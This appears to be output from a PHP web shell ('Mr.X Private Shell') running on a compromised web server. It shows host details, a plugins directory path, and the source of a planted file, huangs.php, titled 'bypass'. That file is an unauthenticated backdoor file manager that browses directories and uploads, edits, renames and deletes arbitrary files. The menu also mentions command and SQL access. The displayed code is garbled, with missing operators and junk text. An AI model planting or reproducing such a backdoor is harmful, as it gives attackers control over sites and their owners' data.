Uname: Linux server.saraya-global.com 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Tue Sep 30 05:56:43 EDT 2025 x86_64
User: 1003 (sarayaglobal)
Group: 1004 (sarayaglobal)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/sarayaglobal/sarayamystair.in/plugins      ( Reset | Go to )
File Name: huangs.php
<!DOCTYPE html>
<html lang="en">
<head>ASAsASasAdfgdfgdffffffffffffffffffffffffffffffffffdgdgdgdfgdfgdfgas
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>bypass</title>
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
    integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
    integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
    crossorigin="anonymous" referrerpolicy="no-referrer" />
  <style>
    body {
      background-color: #3e2723;
      color: #ffccbc;
    }

    table {
      background-color: #4e342e;
    }

    table th, table td {
      color: #ffccbc;
    }

    table thead {
      background-color: saddlebrown;
    }

    table tr:nth-child(even) {
      background-color: #5d4037;
    }

    a, a:hover {
      color: #ffccbc;
      text-decoration: none;
    }

    .btn-dark {
      background-color: #6d4c41;
      border-color: #6d4c41;
    }

    .btn-dark:hover {
      background-color: #4e342e;
      border-color: #4e342e;
    }

    i {
      color: #ffccbc;
    }
  </style>
</head>
<body>

    <?php


    
//function
    
function formatSizeUnits($bytes)
    {
        if (
$bytes >= 1073741824) {
            
$bytes number_format($bytes 10737418242) . ' GB';
        } elseif (
$bytes >= 1048576) {
            
$bytes number_format($bytes 10485762) . ' MB';
        } elseif (
$bytes >= 1024) {
            
$bytes number_format($bytes 10242) . ' KB';
        } elseif (
$bytes 1) {
            
$bytes $bytes ' bytes';
        } elseif (
$bytes == 1) {
            
$bytes $bytes ' byte';
        } else {
            
$bytes '0 bytes';
        }
        return 
$bytes;
    }

    function 
fileExtension($file)
    {
        return 
substr(strrchr($file'.'), 1);
    }

    function 
fileIcon($file)
    {
        
$imgs = array("apng""avif""gif""jpg""jpeg""jfif""pjpeg""pjp""png""svg""webp");
        
$audio = array("wav""m4a""m4b""mp3""ogg""webm""mpc");
        
$ext strtolower(fileExtension($file));
        if (
$file == "error_log") {
            return 
'<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif (
$file == ".htaccess") {
            return 
'<i class="fa-solid fa-hammer"></i> ';
        }
        if (
$ext == "html" || $ext == "htm") {
            return 
'<i class="fa-brands fa-html5"></i> ';
        } elseif (
$ext == "php" || $ext == "phtml") {
            return 
'<i class="fa-brands fa-php"></i> ';
        } elseif (
in_array($ext$imgs)) {
            return 
'<i class="fa-regular fa-images"></i> ';
        } elseif (
$ext == "css") {
            return 
'<i class="fa-brands fa-css3"></i> ';
        } elseif (
$ext == "txt") {
            return 
'<i class="fa-regular fa-file-lines"></i> ';
        } elseif (
in_array($ext$audio)) {
            return 
'<i class="fa-duotone fa-file-music"></i> ';
        } elseif (
$ext == "py") {
            return 
'<i class="fa-brands fa-python"></i> ';
        } elseif (
$ext == "js") {
            return 
'<i class="fa-brands fa-js"></i> ';
        } else {
            return 
'<i class="fa-solid fa-file"></i> ';
        }
    }

    function 
encodePath($path)
    {
        
$a = array("/""\\""."":");
        
$b = array("ক""খ""গ""ঘ");
        return 
str_replace($a$b$path);
    }
    function 
decodePath($path)
    {
        
$a = array("/""\\""."":");
        
$b = array("ক""খ""গ""ঘ");
        return 
str_replace($b$a$path);
    }



    
$root_path __DIR__;
    if (isset(
$_GET['p'])) {
        if (empty(
$_GET['p'])) {
            
$p $root_path;
        } elseif (!
is_dir(decodePath($_GET['p']))) {
            echo (
"<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (
is_dir(decodePath($_GET['p']))) {
            
$p decodePath($_GET['p']);
        }
    } elseif (isset(
$_GET['q'])) {
        if (!
is_dir(decodePath($_GET['q']))) {
            echo (
"<script>window.location.replace('?p=');</script>");
        } elseif (
is_dir(decodePath($_GET['q']))) {
            
$p decodePath($_GET['q']);
        }
    } else {
        
$p $root_path;
    }
    
define("PATH"$p);

    echo (
'
<nav class="navbar navbar-dark" style="background-color:rgba(92, 64, 51, 0.85);">
  <div class="navbar-brand">
  <a href="?"><img src="https://raw.githubusercontent.com/hurairathexper/elepfilemanager/main/img/icon.png" width="30" height="30" alt=""></a>
'
);

    
$path str_replace('\\''/'PATH);
    
$paths explode('/'$path);
    foreach (
$paths as $id => $dir_part) {
        if (
$dir_part == '' && $id == 0) {
            
$a true;
            echo 
"<a href=\"?p=/\">/</a>";
            continue;
        }
        if (
$dir_part == '')
            continue;
        echo 
"<a href='?p=";
        for (
$i 0$i <= $id$i++) {
            echo 
str_replace(":""ঘ"$paths[$i]);
            if (
$i != $id)
                echo 
"ক";
        }
        echo 
"'>" $dir_part "</a>/";
    }
    echo (
'
</div>
<div class="form-inline">
<a href="?upload&q=' 
urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload FileeE</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>'
);


    if (isset(
$_GET['p'])) {

        
//fetch files
        
if (is_readable(PATH)) {
            
$fetch_obj scandir(PATH);
            
$folders = array();
            
$files = array();
            foreach (
$fetch_obj as $obj) {
                if (
$obj == '.' || $obj == '..') {
                    continue;
                }
                
$new_obj PATH '/' $obj;
                if (
is_dir($new_obj)) {
                    
array_push($folders$obj);
                } elseif (
is_file($new_obj)) {
                    
array_push($files$obj);
                }
            }
        }
        echo 
'
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
'
;
        foreach (
$folders as $folder) {
            echo 
"    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" 
urlencode(encodePath(PATH "/" $folder)) . "'>" $folder "</a></td>
      <td><b>---</b></td>
      <td>"
date("F d Y H:i:s."filemtime(PATH "/" $folder)) . "</td>
      <td>0" 
substr(decoct(fileperms(PATH "/" $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" 
urlencode(encodePath(PATH)) . "&r=" $folder "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" 
urlencode(encodePath(PATH)) . "&d=" $folder "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
"
;
        }
        foreach (
$files as $file) {
            echo 
"    <tr>
          <td>" 
fileIcon($file) . $file "</td>
          <td>" 
formatSizeUnits(filesize(PATH "/" $file)) . "</td>
          <td>" 
date("F d Y H:i:s."filemtime(PATH "/" $file)) . "</td>
          <td>0"
substr(decoct(fileperms(PATH "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" 
urlencode(encodePath(PATH)) . "&e=" $file "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" 
urlencode(encodePath(PATH)) . "&r=" $file "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" 
urlencode(encodePath(PATH)) . "&d=" $file "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
"
;
        }
        echo 
"  </tbody>
</table>"
;
    } else {
        if (empty(
$_GET)) {
            echo (
"<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset(
$_GET['upload'])) {
        echo 
'
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>'
;
    }
    if (isset(
$_GET['r'])) {
        if (!empty(
$_GET['r']) && isset($_GET['q'])) {
            echo 
'
    <form method="post">
        Rename:
        <input type="text" name="name" value="' 
$_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>'
;
            if (isset(
$_POST['rename'])) {
                
$name PATH "/" $_GET['r'];
                if(
rename($namePATH "/" $_POST['name'])) {
                    echo (
"<script>alert('Renamed.'); window.location.replace('?p=" encodePath(PATH) . "');</script>");
                } else {
                    echo (
"<script>alert('Some error occurred.'); window.location.replace('?p=" encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset(
$_GET['e'])) {
        if (!empty(
$_GET['e']) && isset($_GET['q'])) {
            echo 
'
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' 
htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>'
;

    if(isset(
$_POST['edit'])) {
        
$filename PATH."/".$_GET['e'];
        
$data $_POST['data'];
        
$open fopen($filename,"w");
        if(
fwrite($open,$data)) {
            echo (
"<script>alert('Saved.'); window.location.replace('?p=" encodePath(PATH) . "');</script>");
        } else {
            echo (
"<script>alert('Some error occurred.'); window.location.replace('?p=" encodePath(PATH) . "');</script>");
        }
        
fclose($open);
    }
        }
    }

    if (isset(
$_POST["upload"])) {
        
$target_file PATH "/" $_FILES["fileToUpload"]["name"];
        if (
move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo 
"<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo 
"<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset(
$_GET['d']) && isset($_GET['q'])) {
        
$name PATH "/" $_GET['d'];
        if (
is_file($name)) {
            if(
unlink($name)) {
                echo (
"<script>alert('File removed.'); window.location.replace('?p=" encodePath(PATH) . "');</script>");
            } else {
                echo (
"<script>alert('Some error occurred.'); window.location.replace('?p=" encodePath(PATH) . "');</script>");
            }
        } elseif (
is_dir($name)) {
            if(
rmdir($name) == true) {
                echo (
"<script>alert('Directory removed.'); window.location.replace('?p=" encodePath(PATH) . "');</script>");
            } else {
                echo (
"<script>alert('Some error occurred.'); window.location.replace('?p=" encodePath(PATH) . "');</script>");
            }
        }
    }
    
?>


    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL